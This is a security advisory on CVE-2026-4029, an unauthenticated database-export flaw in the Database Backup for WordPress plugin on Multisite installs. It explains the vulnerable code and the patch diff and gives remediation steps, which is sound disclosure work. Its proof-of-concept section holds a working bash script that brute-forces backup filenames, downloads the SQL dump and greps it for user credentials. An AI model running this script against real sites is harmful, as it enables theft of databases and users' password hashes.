CVE-2026-4029: Unauthenticated DB Export in WP Database Backup (CVSS 7.5)
Table of Contents
CVE-2026-4029 is a CVSS 7.5 High Missing Authorization vulnerability in the Database Backup for WordPress plugin. On WordPress Multisite installations, an unauthenticated attacker can download database backup files without any credentials. This exposes all database contents, including user passwords, emails, and site data.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Database Backup for WordPress |
| Plugin Slug | wp-db-backup |
| CVE ID | CVE-2026-4029 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Missing Authorization |
| Affected Versions | <= 2.5.2 |
| Patched Version | 2.5.3 |
| Published | May 13, 2026 |
| Researcher | Drew Webber (mcdruid) |
| Wordfence Advisory | Link |
Description
The Database Backup for WordPress plugin is vulnerable to unauthorized database export in all versions up to and including 2.5.2. The plugin does not properly enforce the return value of its authorization check. This makes it possible for unauthenticated attackers to export database tables, leading to sensitive information exposure. The vulnerability is only exploitable in WordPress Multisite environments where the deprecated is_site_admin() function exists.
Technical Analysis
How the Plugin Registers Its Actions
The plugin’s main class, wpdbBackup, is instantiated via the plugins_loaded hook. This means its constructor runs on every page load — not just in the admin area — for both logged-in and anonymous visitors.
Inside the constructor, the plugin checks for specific GET parameters:
// wp-db-backup.php (vulnerable version 2.5.2)
} elseif ( isset( $_GET['backup'] ) ) {
$this->can_user_backup();
add_action( 'init', array( &$this, 'init' ) );
}
When ?backup= is present in the URL, the plugin calls can_user_backup() to check permissions — but ignores the return value. The init hook is always registered, regardless of whether the check passed or failed.
The Broken Authorization Check
The can_user_backup() function contains a special code path for WordPress Multisite:
// wp-db-backup.php lines 1626–1628 (vulnerable version 2.5.2)
function can_user_backup( $loc = 'main' ) {
$can = false;
// make sure WPMU users are site admins, not ordinary admins
if ( function_exists( 'is_site_admin' ) && ! is_site_admin() ) {
return false;
}
// ...
}
On a WordPress Multisite installation, the deprecated is_site_admin() function still exists. For any non-super-admin user — including unauthenticated visitors — is_site_admin() returns false. This causes can_user_backup() to return false immediately.
The critical issue is what this early return does not do: it does not call $this->error(), it does not call wp_die(), and it does not stop PHP execution. It simply returns false silently.
Because the constructor ignores the return value, the init action is registered and fires normally.
The Backup Delivery Path
When the init WordPress hook fires, the plugin’s init() method runs:
// wp-db-backup.php (vulnerable version 2.5.2)
function init() {
$this->can_user_backup(); // return value ignored again
if ( isset( $_GET['backup'] ) ) {
$via = isset( $_GET['via'] ) ? sanitize_text_field( $_GET['via'] ) : 'http';
$this->backup_file = sanitize_text_field( $_GET['backup'] );
$this->validate_file( $this->backup_file );
// ...
$success = $this->deliver_backup( $this->backup_file, $via );
The can_user_backup() call inside init() again returns false silently. Its return value is again ignored. The code proceeds to call deliver_backup(), which reads the file from disk and sends it to the browser as a download.
Full Attack Execution Path
plugins_loadedhook fires →wpdbBackupconstructor runs on any page$_GET['backup']is set →can_user_backup()called- Multisite:
is_site_admin()exists and returnsfalsefor unauthenticated user → earlyreturn false(nodie) - Return value is ignored →
add_action('init', [$this, 'init'])registered - WordPress
inithook fires →init()method called can_user_backup()called again → again returnsfalsesilently- Return value ignored →
deliver_backup()called → database file sent to attacker
Backup Filename Predictability
The backup filename follows this pattern:
DB_NAME_prefix_YYYYMMDD_BBB.sql
The BBB component is Swatch Internet Time (values 000–999), which changes every 86.4 seconds. Given the date is known, an attacker can brute-force the filename in at most 1000 requests per day.
Proof of Concept
Disclaimer: This PoC is provided for educational purposes only. Only test against systems you own or have explicit written permission to test.
Prerequisites:
- Target is running WordPress Multisite
- Plugin is installed and activated (version ≤ 2.5.2)
- A backup file was previously created (e.g., via a scheduled backup or manual trigger)
Step 1 — Determine the target’s database name and table prefix.
These are often guessable: wordpress is a common database name and wp_ is the default table prefix. They can sometimes be found in error messages or readme.html.
Step 2 — Brute-force the backup filename.
TARGET="https://multisite.example.com"
DB_NAME="wordpress"
PREFIX="wp_"
DATE=$(date +%Y%m%d)
for B in $(seq -w 0 999); do
FILENAME="${DB_NAME}_${PREFIX}${DATE}_${B}.sql"
RESPONSE=$(curl -s -o stolen_backup.sql -w "%{http_code}:%{size_download}" \
"${TARGET}/?backup=${FILENAME}")
CODE=${RESPONSE%%:*}
SIZE=${RESPONSE##*:}
if [ "$CODE" -eq 200 ] && [ "$SIZE" -gt 500 ]; then
echo "[!] Found backup: $FILENAME (${SIZE} bytes)"
echo "[!] Saved to: stolen_backup.sql"
break
fi
done
Step 3 — Inspect the stolen database.
# If gzip-compressed
file stolen_backup.sql
gunzip -c stolen_backup.sql > stolen_backup_plain.sql
# Extract user credentials
grep -i "INSERT INTO.*users" stolen_backup_plain.sql | head -5
Expected outcome: The attacker receives the full SQL dump of the WordPress database, including the wp_users table (hashed passwords), wp_usermeta (user roles), and all other tables.
Patch Analysis
Version 2.5.3 addresses the vulnerability with two complementary fixes.
Fix 1 — Check the return value in the constructor.
The constructor now explicitly checks the return value of can_user_backup() before registering the init hook:
- } elseif ( isset( $_GET['fragment'] ) ) {
- $this->can_user_backup( 'frame' );
- add_action( 'init', array( &$this, 'init' ) );
- } elseif ( isset( $_GET['backup'] ) ) {
- $this->can_user_backup();
- add_action( 'init', array( &$this, 'init' ) );
+ } elseif ( isset( $_GET['fragment'] ) ) {
+ if ( ! $this->can_user_backup( 'frame' ) ) {
+ return;
+ }
+ add_action( 'init', array( &$this, 'init' ) );
+ } elseif ( isset( $_GET['backup'] ) ) {
+ if ( ! $this->can_user_backup() ) {
+ return;
+ }
+ add_action( 'init', array( &$this, 'init' ) );
If can_user_backup() returns false, the constructor returns early and the init hook is never registered.
Fix 2 — Make the Multisite early return call error() first.
The can_user_backup() function now calls $this->error() (with kind: 'fatal') before returning false in the Multisite path:
if ( function_exists( 'is_site_admin' ) && ! is_site_admin() ) {
+ $this->error(
+ array(
+ 'loc' => $loc,
+ 'kind' => 'fatal',
+ 'msg' => __(
+ 'You are not allowed to perform backups.',
+ 'wp-db-backup'
+ ),
+ )
+ );
return false;
}
This error() call triggers error_display(), which calls wp_die() and stops PHP execution. Even if a future caller forgets to check the return value, the fatal error handler will terminate the request.
Fix 3 — Randomize backup filenames.
As a defense-in-depth measure, the patch adds a random 12-character token to each backup filename:
- $this->backup_filename = DB_NAME . "_$table_prefix$datum.sql";
+ $nonce = wp_generate_password( 12, false );
+ $this->backup_filename = sanitize_text_field( DB_NAME . '_' . $table_prefix . $datum . '_' . $nonce . '.sql' );
This makes backup filenames unpredictable, so even if the authorization check were bypassed, an attacker could not guess the filename to request.
Timeline
| Date | Event |
|---|---|
| May 13, 2026 | Wordfence publicly published the advisory |
| May 14, 2026 | Advisory last updated |
| April 20, 2026 | Version 2.5.3 released with the fix |
Remediation
Update Database Backup for WordPress to version 2.5.3 or later immediately.
Go to WordPress Admin → Plugins → Installed Plugins, find “Database Backup for WordPress”, and click Update Now. Alternatively, download the latest version from wordpress.org/plugins/wp-db-backup.
Note: The plugin maintainer has stated that version 2.5.3 is a security-only release and the plugin is no longer actively maintained. Consider migrating to an actively maintained backup solution after updating.
References
- CVE-2026-4029 — CVE Record
- Wordfence Advisory
- Vulnerable code — wp-db-backup.php line 1623 (tag 2.5.2)
- Fixed code — wp-db-backup.php line 1632 (trunk)
- Fixed code — wp-db-backup.php line 153 (trunk)
- Patch changeset 3510595
Frequently Asked Questions
What is CVE-2026-4029?
CVE-2026-4029 is a CVSS 7.5 High severity Missing Authorization vulnerability in the Database Backup for WordPress plugin. It allows unauthenticated attackers on WordPress Multisite installations to download database backup files.
Which versions of Database Backup for WordPress are affected by CVE-2026-4029?
All versions up to and including 2.5.2 are affected. Version 2.5.3 contains the fix.
What can an attacker do with CVE-2026-4029?
An attacker can download a full database backup file without logging in. This exposes all database contents, including user credentials, personal data, and site configuration.
Does an attacker need to be logged in to exploit CVE-2026-4029?
No. Any visitor can trigger this vulnerability on a WordPress Multisite installation. No authentication or special role is required.
How do I fix CVE-2026-4029 in Database Backup for WordPress?
Update Database Backup for WordPress to version 2.5.3 or later from the WordPress admin dashboard or wordpress.org.
Has Database Backup for WordPress been patched for CVE-2026-4029?
Yes. Version 2.5.3 was released on April 20, 2026 and resolves this vulnerability.